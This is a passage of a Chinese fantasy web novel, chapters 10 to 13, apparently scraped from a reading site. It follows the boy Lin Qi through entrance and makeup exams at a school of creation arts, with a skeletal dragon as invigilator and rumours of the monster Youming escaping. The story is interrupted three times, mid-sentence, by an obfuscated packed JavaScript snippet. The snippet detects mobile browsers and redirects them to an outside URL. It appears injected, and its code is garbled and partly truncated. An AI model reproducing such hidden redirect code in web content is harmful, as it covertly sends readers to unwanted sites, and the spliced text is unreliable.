龙骨又乖乖把嘴巴闭上。 许慎行凌厉眸光一转,朝凌壑身后道:“观院长,你怎么在这儿?学校那堆狗屎怎么你了?” 观沄礼貌回了一句:“许院长好,我带孩子过来考试。” 又温声向林栖介绍,“这位是许院长,这里就是我跟你说起过的造物学院。” 许慎行像是这才发现观沄还带了个人,明显愣了一下,紧接着就朝身后那副龙骨摆手,“去去去,别杵在这里吓人。” 龙骨似乎习惯了,原地趴了下去,身形隐没在杂乱的草丛里,只露出半个脑袋。 许慎行朝后扫了一眼,脚后跟朝龙骨脑袋一踹,龙骨顿时伏得更低,垂着头,只隐约露出一双黑洞洞的眼眶,莫名显得委屈。 林栖忍不住朝它看去,它默然两秒,抬爪,缓缓遮住了自己眼睛。 林栖:“?” 许慎行朝树丛后的老旧建筑一指,对观沄道:“刚好,有事找你商量,进来坐会儿。” 声音还是冷得结冰,但和之前相比,已经堪称春风和煦。 他带路,把一行人领进学院,直接进了侧面展厅,在会客区落座。 许慎行跟观沄寒暄几句,视线一斜,忽然瞄向林栖,“我们在这儿说话,你闲着也挺无聊的。” 他略微一顿,脸上浮起一抹白惨惨的笑意,“来都来了,考个试再走吧。” 10. 第 10 章 展厅类似画廊,粗重的黑色框架结构搭配白色隔断,划分出几个功能区域,进门处有几个空置展台和两套简单桌椅。 凌壑拖着凳子坐下,惊奇道:“你们造院居然还要考试?” 展厅挑高超过十米,任谁说话都自带回响。 许慎行嘴巴一抿,没搭理他,一边吩咐助教安排,一边朝林栖道:“考得好也没关系。” 林栖:“?” 是不是少说了一个“不”字? 许慎行那双锋锐的眼睛眯起和善的弧度,把后半句话补完,“毕竟我又不能绑着你来我们学院。” 原来没少字……林栖不知道怎么接话,默默把视线一垂,开始研究桌子上的木纹肌理。 凌壑长腿朝桌子一勾,把自己连同凳子一起挪到林栖旁边,手半掩在唇边,超大声同他嘀咕,“许院长的意思是,千万别考太好,咱们造物院是学城历史最悠久的学院,秉承最传统的教育理念,把有天赋的学生让给其他学院,自己专收那些没人要的,是真正的有教无类,包容四海。” 林栖不了解造物院的情况,但知道这不是好话,只当没听见,继续低头研究桌子。 许慎行抿着嘴巴,眼神朝凌壑一扫,干瘦颀长的手指在桌面交叠一握,语气难得平静—— “没错,我们院确实招不到学生,自从我当了这个院长,就只能捡其它院系挑剩下的,我不否认这点,但是——只要让我碰上一个有天赋的学生,我不管他高矮胖瘦,多大年纪,什么出身,只要他有天赋,肯好好学,我每天吃饭睡觉都把他带在身边,只要他能有所成就,哪怕骑在我头上拉屎我都高兴。” 凌壑笑道:“这话也太糙了。” 许慎行抬了抬眼皮,“我还有更糙的呢。” 观沄在一旁道:“天赋不是绝对的。” 许慎行唇角一勾,诈尸似的一笑,“你们画院当然没有这种烦恼。” 就算观沄不当院长,画院风头不如往年,但在所有学院中依然稳居第二,唯独输给祈院,而造院已经全校垫底很多年了。 或者说,“造物师”这个身份已经没落很多年了,与以往的辉煌相比,现状简直惨不忍睹。 从第一任院长往后,造物师们就在走一条很漫长的下坡路,一代不如一代,前不见底。 每当新生入校,许慎行总能说一句:“你们是我带过最差的一届学生。” 可怕的是,这句话是事实,而且每一年都成立。 许慎行想要学生,有天赋的学生。 只是一般的天赋还不够,他要的是一个天才,一个可以超越他的学生。 他的学生不能只看他的背影,他的学生更要走到他的前面。 先超越他,再超越他的老师,然后是老师的老师……超越当世所有造物师,然后再求突破,把当代造物那道低矮的天花板撑高一点,再高一点,为后来的学生多留一点成长空间。 在那之后,他们就可以稳住步子,不再下滑,然后抬起头,往上走,哪怕每一代人只能多走一步,但只要向上,就有希望。 然而现实是,在这个一年一度的招生日,从早上到现在,他们造院连一个来考试的学生都没有,更别说有天赋的学生。 如果没人来考,造院只能像往年一样,接收校方塞过来的学生——身上没有被怪物侵蚀,很干净,脑子没有被知识侵蚀,更干净。 为往圣继绝学——继个屁!继不了一点。 许慎行想着这些,一张死人脸愈发阴郁,仿佛当场就要长出尸斑。 他需要舒缓一下情绪。 视线扫过对面——画院前任院长、驯院现任老师、传闻中的天才学生……骂哪个也不合适。 只能骂学校了。 于是,他将话题一扭,开口道:“听说了吗?他们要抓幽冥,校长亲自出面,来我这儿借造物,被我骂走了。借什么借?用尾椎骨想也知道,根本不可能还。” 凌壑丝滑接上话题,“可不止‘借’了你们一家,要是我们院长也有这么臭的脾气就好了。” 许慎行继续道:“我看这帮校领导比猎捕队更适合抓怪物,毕竟脑仁儿还没核桃大,里面还给虫蛀空了,就算劈开了晾在那里,怪物也不乐意吃,用他们组个团,围住怪物,怪物都得活活饿死。” 凌壑靠在椅背上笑着拍手,侧眸看向观沄,观沄礼貌一笑,并不附和,只道:“我听说幽冥受伤了,这次很有可能成功。” 许慎行笑了一声,“受伤,被蚊子叮一口也叫受伤,脑袋折了也叫受伤,你们知道它伤在哪儿吗?反正我不知道。咱们这些人整天憋在学校,连怪物毛也碰不到一根,能知道什么确切消息?” 顿了顿,越发阴阳怪气,“还得是咱们校长厉害,眼珠子甩出去几千公里,学校里的问题是看不见的,对怪物倒是如数家珍。来找我的时候,说幽冥跟其它怪物打架,打得只剩半个脑袋了,现在正忙着抱头鼠窜,猎捕队有九成把握,加上校方配合,就是十成十的成功。” 观沄和凌壑都能听出他话里的嘲讽,其它不提,只说幽冥受伤这件事,就很值得争议。 幽冥是已知最凶恶也最神秘的怪物,其出没的地方总是笼着极浓重的黑雾,猎捕队即使带着全套防护装备也难以靠近。 曾有人目睹,普通怪物仅是触碰那些黑雾,都会被腐蚀成一堆枯骨。 这么多年过去,谁也没有真正见过幽冥。 有关幽冥形貌的说法很多,但都是臆想,人们觉得“怪物”应该是什么样,就把幽冥描述成什么样。 一代人有一代人心中的怪物,因而幽冥在人们口中也有不同版本,如果追溯到百年之前,人们描述它时,使用的意象更多是天灾,诸如火山、洪水、瘟疫、毒瘴…… 而现在,胆大的小朋友比赛画怪物时,会把长相最丑恶的那个选为幽冥。艺术家在搞创作时,更会充分发挥想象—— 幽冥可能长着一堆脑袋,每一颗都是不一样的形状——鬼脸、僵尸、恶狼、毒蛇……每颗脑袋上又有脓疮和尸虫。 或者满身都是爪子,每只爪子末端畸化出新的怪物……满头都是眼睛,眼睛里又钻出无数蛆虫鼠蚁…… 想要确定幽冥究竟是什么,以及它是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643448|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤、伤得怎样,唯一的办法就是——先抓住它。 在此之前,一切都是鬼扯。 凌壑道:“许院长就不想代表造院立个大功?” 毕竟众所周知,“造物”很适合用来对付怪物,它能独立行动,又不会成为怪物的攻击目标。 “蠢人的一大特色就是,总觉得自己很行,你是骂我蠢吗?”许慎行说着忽然一顿,看向林栖,“你姓林?” 隔壁桌助教老师正在给林栖登记信息,这会儿刚说完名字。 听到他问,林栖点了点头。 许慎行道:“不错,史上最厉害的造物师也姓林。” 他这句话语速很慢,声音又苍白低哑,有一种幽幽的诡异感,陈述事实也像在念诅咒。 观沄几不可见地皱了下眉。 许慎行又把视线移回来,问观沄:“你这些年在外面,是不是能见到不少好学生?” 观沄反问:“怎么样才算好学生?” “当然是——白塔选不上但你自己愿意教的那种。” 白塔选人只看“干净”,即使再有天赋的孩子,只要身上带了一点侵蚀痕迹,都会被校方排除在外。 观沄偶尔会想,等忙完正事,或许就在松林建个教室,教一教像这样的学生。 他道:“确实有一些。” 外面有好学生,但是许慎行招不到。 这也不是什么舒缓情绪的话题,许院长又开始想骂人了,好在考试已经准备就绪,多少能转移一下注意力。 展厅原本不做考场使用,但许慎行为了把林栖留下考试,硬是直接把考场搬了过来,搞了个VIP考试服务。 造院考试分为笔试和“专业”两个部分,笔试看基础,专业看天赋。一般都是先笔试再专业,但许慎行让林栖先考专业,还亲自把考试工具和材料都准备好,在桌面码得整整齐齐。 他看了一眼时间,“还差两分钟,我们整点开始。” 林栖点点头,看向桌面,这不像考试现场,倒像手工教室。 左边的托盘放着带编号的工具,右边的托盘放着带标签的材料,而正面立着一张步骤说明,他只需要对着说明,按编号使用工具,把材料组合起来就可以了。 和手工教室不一样的是,很多工具和材料他以前都没见过,尤其材料,有几种说不清是塑料、金属还是木头…… 而且图纸上并没有成品效果,他是在拼一盒没有完成图的乐高。 许慎行声音苍白和煦,“还有一分钟,你可以先检查一下工具,有任何问题或者不顺手,我都可以给你……” 话没说完,就听一个学生在院子里扯着嗓子喊道:“院长——院长你在哪儿呢?” 许慎行表情一皱,回道:“展厅!” 学生蹬蹬跑进来,见这里有外人,收敛了一下态度,问道:“院长你忙吗?” 许慎行一脸无语,“那要看你有什么事,做出顶级造物?那我不忙,这辈子都不忙,随叫随到。” 学生翻个白眼,一脸院长你在说什么梦话的表情,皱着脸道:“老源墨跑了。” 11. 第 11 章 老源墨是所有“源墨”里最老的一块,作为古董造物,能追溯到两百年前。 出处不详,仿佛是从历史尘埃里凭空冒出来的。 这件造物对造院来说实际作用不大,但象征意义重大,是一个类似于百年老店祖传牌匾的东西。 画院那支测试笔用的也是源墨,从辈分上看,算是老源墨的孙子。 “牌匾”年纪大了,擅长倚老卖老,不是绝食,就是离家出走。 许慎行额头青筋乱跳,“什么时候跑的??” “应该刚跑,早上看的时候还在。”学生一脸无语,“真是的,什么时候不好跑,非挑今天。” 许慎行对这种事已经有了肌肉记忆,拧着眉头就往外走,刚走几步又回头看向林栖:“你先考着,不用等我。” 他把学生和助教都带走了,空旷的造院展厅只剩三个外人。 林栖对着一桌子考试工具沉默片刻,询问地看向观沄。 监考老师都跑了,还要考吗? 观沄斟酌着,正要开口,就见一副龙骨低头走了进来。 骨头脑门儿上贴着一张字条,上书“监考”两字,笔迹潦草,一看就是许慎行临时写的。 “突然想起来,我也得去监考。”凌壑起身伸个懒腰,挥手走了。 于是展厅只剩下两个人和一副骨头。 洁白光滑的骨头架子“咔哒咔哒”挪到桌前,将几米高的身子匍匐下来,低着头,一双黑洞洞的眼窝朝向林栖。 盯—— 林栖:“……” 空气静了几秒,骨头架子像是忽然想起什么,猛一抬头,颈椎骨发出“碦啦”一响。 它将爪子伸进自己肋骨缝里,摸鱼似的掏了掏,拎出一只骨白色的口袋,又从中倒出一副皮肉,刷刷抖开,好像穿衣服一样给自己套上。 林栖眼睁睁看着它从一副骨头龙,变成了一只肉嘟嘟的胖龙。 还是黑白花的,蹲在那里好似一头奶牛。 胖龙把掉落的“监考”字条贴回自己脑门儿,又从肚皮口袋里摸出一对玻璃眼珠,熟练而笨拙地捧在掌心,爪尖儿小心拨开抽屉,从中挖出两团白色橡皮泥,粘在眼珠背面。 接着,就见它手捧眼珠,朝着自己掌心猛一磕头,把一对眼珠怼进了眼眶里。 片刻,胖龙瞪大一双眼睛,水灵灵地朝林栖看了过来。 盯—— 林栖:嗯…… 眼睛歪了。 一颗眼仁朝着左上,一颗眼仁朝着右下,怎么看都不太聪明…… 要不要提醒一下? 林栖轻轻吸一口气,正想开口,斜眼胖龙却抬起前爪,隔空在试题上方挠了几下,示意他不要偷懒,赶紧做题。 主人让它监考,它那么聪明,当然知道应该先考笔试。 林栖在催促中拿起试题,从左上角开始往下看。 视线好像墨点落进水里,迅速散开焦距。 五行之后,他困了。 在文盲眼里,每一颗黑色的不明符号都像是神棍在跳催眠曲。 “我看看。”观沄支着下巴凑近过来,“第一题是:造物是什么?” 林栖缓慢眨了眨眼,眼神有种未被知识污染过的清澈。 观沄:“简单来说,造物是以功能性为核心的手工作品。” 尽职尽责的监考龙:“?” 林栖点点头,思考片刻,“那电饭煲是造物吗?” “也可以是。”观沄笑着解释,“但首先,它得是一个纯手工电饭煲,其次,煮饭可能要多放点米,不然电饭煲自己都不够吃。” 林栖疑惑地眨了下眼。 观沄没有展开细说,只是继续念下一题。 考题很适合做科普,在接下来的几分钟里,林栖指到哪个题目,观沄就念出哪个题目并给出答案,比如造物等级概念——初、中、高级的基础区分。 其实在“高级”之上还有两个等级。 造物是所有院系中门槛最低但上限最高的学科,以当代造物师的水平来说,学生能独立做出“中级造物”已经算是助教水准,做出“高级造物”则能直接留校任教。 高级以上过于稀有,一般人根本接触不到,也理解不了,考题上没有,观沄也没多说。 讲到“高级”造物时,监考龙自信满满地甩了一下尾巴。 观沄朝它看了一眼,客观评价:“你应该是中级。” 监考龙不服气地站直身体,足有四米多高,张开翅膀更是气势十足。 观沄:“造物等级不看体型。” 监考龙龇开大嘴,露出两排白牙。 观沄:“也不看牙口。” 监考龙不理他了,转而很期待地看向林栖。 “嗯……”林栖道,“你看起来很高级。” 监考龙高兴了,又有点不好意思,爪子在脸上一挠,指甲擦过眼眶,左边那颗眼珠子顿时更歪了,绿眼仁几乎完全没入眼眶,只剩一片光溜溜的眼白。 林栖默默低头,抿着嘴唇,肩膀很可疑地颤了一下。 接着又花了几分钟,把一套题目挑挑拣拣看完,林栖用现代语在卷首写上自己名字,然后……交了白卷。 这几天里,他已经从纯文盲进化到会写十几个字了——自己名字外加一二三四五六七八九十。 交白卷不算作弊,监考龙满意地收了卷子,又催促林栖去做手工。 手工比做题简单得多,观沄念一个步骤,林栖做一个步骤,也不算违反考试规则。 一开始还算顺利,林栖严格按照图纸,把那些叫不出名字的材料组合起来,先完成局部,再拼成整体,但在进行到中间一步时,他出错了。 出错的理由有点莫名其妙。 步骤要求把部件①和部件②拼在一起,但部件①的雏形有些像树叶——半片树叶。 林栖联想到外面那两棵槭树,略一分神,就把部件①和另一个相同的部件①拼到了一起,刚好凑出一片完整的树叶形状。 做完这个动作之后,他甚至没发现哪里不对,只是下意识地想着,一片刚从枝头落下来的树叶,颜色还在最美的时候,可以做个书签……查字典的时候,需要哪个字,它就落到哪一页…… 然后又莫名想到,既然可以找字,那也可以找东西,或者找人…… 找人…… 要找谁呢? 忽然眼前光线一暗,一张大脸怼到面前。 林栖本能往后一撤。 监考龙眯起眼眶,凑近了看他手里。 这东西刚才好像亮了一下?对吧?……也可能是动了一下? 但是做一半的东西肯定不会动的,对吧?也不会亮的…… 监考龙默然思考片刻,抬爪抠了抠自己眼睛,发现眼珠子果然歪了。 所以是眼睛动了,不是东西动了…… 那就没问题了哦。 林栖被监考龙打断,终于发现自己错了步骤,从“叶子”那步开始,后面全是错的。 手里那件半成品对比步骤图,完全就是两个东西。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643449|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 没办法,只能拆了重来,但专业考试限时一小时,已经做不完了。 计时结束时,监考龙看看那张白卷,又看看进度仅到一半的造物,挠了挠头,朝林栖投来安慰的目光,仿佛在说:没关系哦,笨蛋很多的,不差你这一个。 林栖:“……” 谢谢哦。 考试结束了,但许慎行还没回来。监考龙把林栖和观沄送到门口,转身就把一身累赘的皮肉脱了,爪子扒拉着,将眼珠子也抠出来放好,一扭头,却见林栖还在看他。 监考龙立即又把一身皮肉套上,动作一慌,眼珠子啪嗒一声掉在地上,不知道滚哪儿去了。 它有些笨拙地蹲下身子,埋头找眼,正摸索着,爪子却被人轻轻拍了一下。 它瞪着空洞的眼眶看过去,还没找见人影,就听清澈的男孩儿嗓音对他道:“眼睛找到了,你是自己拿着,还是让我帮你装上?” 许慎行叫它监考,特意吩咐过,别吓着考生,但是现在这种情况,它也不知道是拿着吓人还是装上吓人。 它需要思考。 男孩儿拉着它的爪子,把一对眼珠放进它掌心里,“穿着这些是不是很热?你想脱就脱吧,我不怕骨头。” 监考龙蹲在原地没动。 它还在思考。 男孩儿又看它片刻,挥挥手,转身走了。 它看着他弱小可怜的背影想:哦,这个笨蛋还挺好的。 接下来,林栖又去考了几场。有些学院考试时间重合,只能二选一,他没考全,只去了祈院、咒院、驯院。 “祈真师”可以净化侵蚀,备受追捧。祈真院也因此成为近年来热度最高的学院,门外人山人海,两行队伍排了三个拐弯儿还有富余。 考试内容是现场记忆和背诵,完成一场简单的祈神祝祷仪式,需要配合一定的肢体语言和面部表情……总而言之,很需要一些信念感才能完成。 林栖按要求走完一遍流程,只觉得脑壳麻麻的,整张脸都木了。 观沄笑道:“回去给你重新买双袜子。” 林栖:“?” 观沄往他脚上一指,“脚趾抠地抠得那么用力,袜子肯定破了。” 林栖:“……” 被看见了。 好尴尬,有点不想活了。 咒术院和造物院一样,都是学城建立初期就有的学院,建筑风格不同,但有着相似的年代感。 院内咒术乱飞,并不冷清,但从考官到学生都是一张臭脸,对人爱答不理,没人多看林栖一眼,这让他一进门就对这所学院心生好感。 可惜咒院第一轮纯考理论,文盲只好又交了一次白卷。 驯兽院效率更高,林栖一进门就被刷下来了。 一名肌肉壮汉抱着胳膊,视线往他头顶一扫,“太矮了宝宝,回家多吃点儿饭再来吧。” 当天回家以后,林栖确实多吃了半碗饭。 第二天中午,考试结果下来—— 五个院系,他一个也没考上。 补考通知是和考试结果一起来的。 部分学院还没招满,会从补考中继续挑选学生。 每个学院的招生计划和所缺人数以表格形式附在通知单后,其中只有造物学院被贴了红标,大字写着所缺人数:8。 其它学院都已招满计划人数,只有在特殊情况下,才会从补考中额外选人。 摆在林栖面前的路只有两条,要么放弃上学,要么想办法通过补考,去上这所垫底学院。 12. 第 12 章 补考安排在通知发出的当天下午,和第一轮考试相比,显得十分仓促。 考试地点位于行政区三号楼,不属于任何一个院系。 工作人员将上百名补考学生带进一间环形阶梯教室,随行家长则被要求在外等待。 校方还未公布正式考题,教室里一片叽叽喳喳的说话声,推门就像进了一片全是鸟的林子。 林栖进门没走几步,就有一个学生朝他迎了上来,“诶?你也来补考啊?” 这句话像是一颗信号弹,引着十几道目光一起朝林栖投了过来。 旁边又有一个学生探出脑袋,“对啊,你不是那个天才小画师吗?怎么跑这儿来了?我们这是补考。” 又有一个声音道:“天才不会没考上吧?不会吧?” 林栖整个人明显比其他孩子要小一圈,长相又格外精致漂亮,安静的时候就像展示在橱窗里的漂亮人偶。 他垂着睫毛,视线落在前方一米外的阶梯上,心里默念:我是来考试的,别人爱说什么说什么,跟我没关系。 他知道,别人是因为观沄才额外关注他,他没办法不被关注,只能不理他们。 他只“嗯”了一声作为回应,听起来既敷衍又意味不明。 刚走几步,一个刺猬头男孩儿直接从桌子后面翻了过来,挡住林栖去路,“你就是那个谁吧?观院长带的那个。你不是他小孩儿吧?那你是观家人吗?” 林栖不回应,只是侧身绕过他继续走。 刺猬头追上几步,“怎么不理人啊,你叫什么?” 大半个教室的目光都朝这边集中过来,林栖看着脚下,继续在心里默念。 刺猬头大着嗓门儿道:“干嘛不说话?问你名字呢。” 林栖终于开口,吐出三个字:“那个谁。” 刺猬头愣了一会儿才反应过来,因为他前面说“你就是那个谁吧”,所以对方干脆就说自己名叫“那个谁”。 “那我又不知道你叫什么,也用不着生气吧?哎你先别走啊——”他咕哝着,跟在林栖后面。 过道两旁的人都在看他,有的笑,有的起哄:“别问了,人家根本不想理你。” “就是,人家是观家小少爷,根本看不上你。” 刺猬头脸上噌的一下红了,停下步子,朝林栖背影道:“哇好高冷,都不理人,观家这么了不起吗?不理拉倒。” 林栖没有任何回应,只是一路走到最后一排坐下,跟所有人都不挨着,显得十分高冷。 教室里响起一片嗡嗡嗡的议论声,一会儿讨论林栖身份来历,一会儿议论他之前的考试成绩。 不过新鲜感来得快去得也快,一群孩子热闹一阵儿,就又开始叭叭别的。 两个女孩儿互相挨着脑袋,讨论“老僵尸”的年龄。 五六个男孩儿围成一圈,为了“幽冥”打赌。其中个子最高的男孩儿豪爽拍下一沓赌金,说他小舅舅是猎捕队的队长,他有内幕消息,这次稳了,绝对能抓着幽冥。 到处叽叽喳喳,而林栖只是垂着视线,默默研究桌子上的漆面反光。 工作人员迟迟不来宣布考试内容,几个坐前排的男孩儿带头摸了出去,几分钟后又兴冲冲地回来,人形喇叭似的嚷道:“走吧走吧——都散了吧——今天考不成了!” 旁边一人接道:“老僵尸和校长掐起来了,老僵尸要辞职,让我们祝愿他能成功!” 这教室自带扩音效果,林栖在后面听得清清楚楚。 场面乱了一会儿,说什么的都有,直到工作人员进场维持秩序才恢复安静。 工作人员解释说,校长考虑到这次情况特殊,八个名额全在造物学院,所以特许学院一起参与决定补考内容,具体方式是—— 八个名额,一边一半。 工作人员拿着文件夹,“待会儿造物学院的许院长会亲自过来选人,被选中的同学直接去造物学院参加补考,由许院长决定考试内容并确定合格名单,校方全程不予干预,而在他确定之后,校方会另行通知考试内容,并确定剩下的四个名额。” 在他说完之后,立刻就有人问:“如果我被老僵尸叫去考试但是没考上呢?这怎么算?” 如果两场考试只能二选一,那他肯定立马就走,坚决不考老僵尸的。 工作人员笑笑:“首先,不要在公共场合叫院长外号,其次,被选上了完全可以放心去考,这只是多了一次机会,即使没通过许院长的考试,也可以继续参加校方考试,校方和院方在学生选择上有不同的侧重点,但目标是一致的,都是为了学院和学城更好。” 两次机会当然比一次机会更好,但在他说完之后,还是有几个学生直接起身走了。 几分钟后,许慎行阴沉着一张脸,手肘夹着一叠资料,大踏步地过来选人。 瘦高身影直接走到教室末端,从最后一排开始选起。 于是,林栖成了第一个。 许慎行在他面前翻了几下资料,垂着眸子,沉声开口:“你昨天给我交了一张白卷,是真不会,还是不想写?” 林栖静了一瞬,回道:“真的不会。” 许慎行低低“嗯”了一声,薄薄的眼皮一掀,抬起一道凌厉视线,盯住林栖,又问:“那专业呢?是真没做完?还是根本没好好做?” “真没做完。”林栖说话声音很轻, 许慎行看着他,又沉沉地“嗯”了一声,没再说什么,只是缓步从他面前走开。 那一刻,林栖从他脸上看到了很深刻的失望。 工作人员在远处道:“没选上的同学可以先回去了,明天学校会再给你们通知。” 林栖是第一个被筛掉的,自然也是第一个离开的,从教室末尾走到前端,两边不断有人扭头看他,目光算不上十分友善。 嗯,但他眼神不好,他看不见。 门外等着一堆家长,林栖还没看清观沄在哪儿,就先听见了凌壑的声音,用一种事不关己的腔调说:“谁知道呢?说是消失,也可能只是没看见,万一猎捕队集体失明了呢?” 旁边一个不认识的声音问:“这是哪天的事?怎么能说消失就消失呢?你这消息可靠吗?” 凌壑笑道:“当然不可靠,你看我像可靠的人吗?” 林栖刚看清凌壑在哪儿,就见他朝自己挥了挥手,朝旁边道:“不聊了,我大侄子出来了。” 等凌壑走过来,林栖才后知后觉,自己就是那个“大侄子”…… 凌壑笑道:“妈妈不幸被校长抓走了,爸爸陪你等他一会儿。” 林栖:“……” 等待的过程中,凌壑丝毫也没闲着,“知道老僵尸为什么和校长吵起来吗?不知道吧?因为校方本来安排了祈院过来,要筛掉那些‘有侵蚀倾向’的学生,给老僵尸气得,差点儿当场长出尸斑。老僵尸当时是这么说的——咳——” 凌壑模仿许慎行的语气,“侵蚀倾向是什么狗屁?你们脑子里有屎吗?贷款筛选,用还没发生的事决定学生未来!我看你们百年之后反正得死,不如今天直接埋了!” 凌壑说完哈哈一笑,凑近道:“你以后可是要跟这么一位院长,慌吗?” 他似乎十分确信林栖可以通过补考。 林栖往后撤了撤,面无表情道:“慌。” “那我说点更慌的,就当以毒攻毒了。”凌壑似乎天生对冷淡免疫,不把自己当外人地往前凑凑,狭长双眼微微一眯,压着低低的气声开口—— “你还不知道吧,幽冥不见了——这次派了五十多个猎捕队,每队都有两百多人,把幽冥堵在大峡谷里,守得严丝合缝,已经过了十几天了,但就在今天早上,它忽然就不见了,轮值队员说,根本不记得当时发生过什么,就像突然做噩梦一样,眼前扑来一团鬼影,身体根本不听使唤……” 林栖:“……” 幽冥不是怪物吗?怎么好像在讲鬼故事一样。 凌壑说着说着,声音一顿,语调忽然上扬,“哎呀没事,补考是这样的,我们回去等通知就行了,学校出题不会太难,你不用担心。” 林栖听他说到一半就觉得哪里不对,回头一看,果然看见观沄已经来了。 凌壑嬉皮笑脸地看着观沄,“校长怎么你了?脸色这么臭。” 观沄没理他,沉默着朝远处看了看,收回视线时,面色已经恢复如常。 他略微俯身,温声朝林栖道:“现在还早,是想直接回家,还是出去逛逛?” 凌壑又换成那种闹鬼似的语气,同样俯身朝向林栖,“我建议出去逛逛,现在幽冥跑了,说不定就在哪里藏着,等着抓小孩儿吃——专吃漂亮小孩儿。” 观沄一肘把他杵开,向林栖道:“学城有防护,连最普通的小怪物都进不来,更别说是幽冥。” 凌壑顺势抓住观沄手肘,“你说哪个学城?” 就像一些大城市的“五环”不算城里一样,对身处核心区的师生来说,也只有学校周边这一小圈才算学城,连上城区都不包括在内,更别说是外城。 不同区域,防护等级也不一样。 林栖看出观沄不太高兴,于是说想直接回家。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643450|188165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道为什么,凌壑也跟着一起。 路上话题大多围绕考试,但时不时总会冒出一句幽冥。 可能因为听多了怪物,林栖当晚就做了噩梦。 他在一片黑雾里走了很久,直到在梦里也快睡着了,才在黑暗尽头看到一点亮光。 他意识到,那点亮光似乎是火。随着这个念头,火光忽然拉近放大,炽烈地包围上来,灼得眼睛酸疼。 他想遮住眼睛,抬手时,却见自己手上皮肉已经烧得焦黑,露出灰白色的指骨…… 细瘦的骨骼在墙面投下伶仃的影子,火光一晃,弥散出飘摇的烟尘。 光影中,像是有什么朝他指尖碰了碰,他后知后觉,身边另有一道黑漆漆的影子,却不是他自己的影子。 这里还有别人。 ……是谁? 醒来时,林栖手指上还残留着疼痛的幻觉。 可能因为清晨光线稀薄,缠满皮肤的红色细线似乎更深浓了,仿佛结痂之后重又浸透了血。 好丑…… 林栖翻个身,从枕边抓起一只白胖胖的抱枕,勾着脚腕,又从床尾找到另外一只,回手朝后摸索,再捞一只……把这些抱枕全部堆在面前。 堆好之后,他闭着眼睛,往前拱了拱,把自己埋进枕头堆里藏好。 自从那次外出购物回来,他的小房间就从简约风变成了“幼儿风”。沙发、矮凳、窗帘、桌布、夜灯……都是毛绒绒的。 抱枕洗过晒过,布面散发着干净又柔软的清香。 林栖模糊想着,不知道补考要考什么。 考不上也好吧…… 他不想起床。 这天上午,校方公布了补考规则。 林栖住得远,直到中午才收到通知。 正巧是午饭时间,餐桌上,凌壑拿着考题就朝观沄挤眉弄眼,“这题是考你的。” 观沄凉飕飕地看他一眼。 林栖捧着一杯果汁,头顶缓缓冒出问号。 题目是“携带一件自己的造物参加评选”,为什么说是考观沄的? 凌壑凑过来,往林栖杯子里夹了一颗冰块,“这就好比艺术院校招生,正常都是让学生现场画图对吧?现场考试,才能确定是你亲笔画的。但咱们这个题目的要求是——带一幅现成的画作参加考试,只要画是你的就行。” 题目里“自己的”三个字就很微妙。 自己的造物可以指自己造的,也可以指自己用的,或者是自己署了名的。既然怎样都可以,只要脑子正常,当然会选最简单的。 也就是——署名。 署名简单来说,就是把现成的造物买回来,签上自己的名字。 至于为什么不安排现场考试?大概因为这是最后一次补考,校方已经默认了,这些学生根本就考不上,既然不能凭本事,那就只能凭家长。 有一个反常识的事实——造院虽然在全校排名垫底,却又是门槛最高的院系,甚至比画院更吃天赋。 不行就是不行,努力也于事无补。一个没有造物天赋的孩子,可能一辈子也无法突破初级。 这也是没人愿意考造院的理由之一。 凌壑向林栖稍作解释,然后看向观沄,“巧了,我知道一家造物店,古董多,特别适合署名。” 观沄怀疑道:“哪家?” 凌壑翘起长腿晃晃,“这你都猜不到吗?当年是——更年期的那家。” “你拿到邀请了?”观沄问。 “拿到了。”凌壑挑眉。 “怎么拿到的?” “你还不知道吧?现在邀请不值钱了。” 在观沄审视的目光中,凌壑叼着发圈,重新绑了一下头发,然后晃着一双长腿,慢悠悠地开始解释—— 之前,他在弄邀请的时候,不光找人要了现成的,自己也试着发了预约。当时只得了一个“已读不回”。 他打听过,“已读不回”就是婉拒,奇葩店主连正式回绝都懒得给。 但就在前天晚上,“已读不回”突然变成了“已读已回”。那家古董店冷不丁地给他发了一份邀请。 他觉得事情反常,打听过后才知道,这种情况不是个例。 凌壑对观沄道:“近期预约过的应该都收到了,你去查查,你应该也有。” “知道为什么吗?”观沄问。 这个时间点,很容易让人联想到入学考试。 “谁知道呢,可能是更年期提前结束了吧。”凌壑向后枕着手臂,侧头笑看观沄,“去吗?反正看看也不吃亏。” 13. 第 13 章 阴天,有雨却下不来,水汽蓄在云里,闷着厚厚一层。 老街上,铁皮风铃也像浸在水里,风吹不动,只在被人碰到时,才会低哑唱上一声。 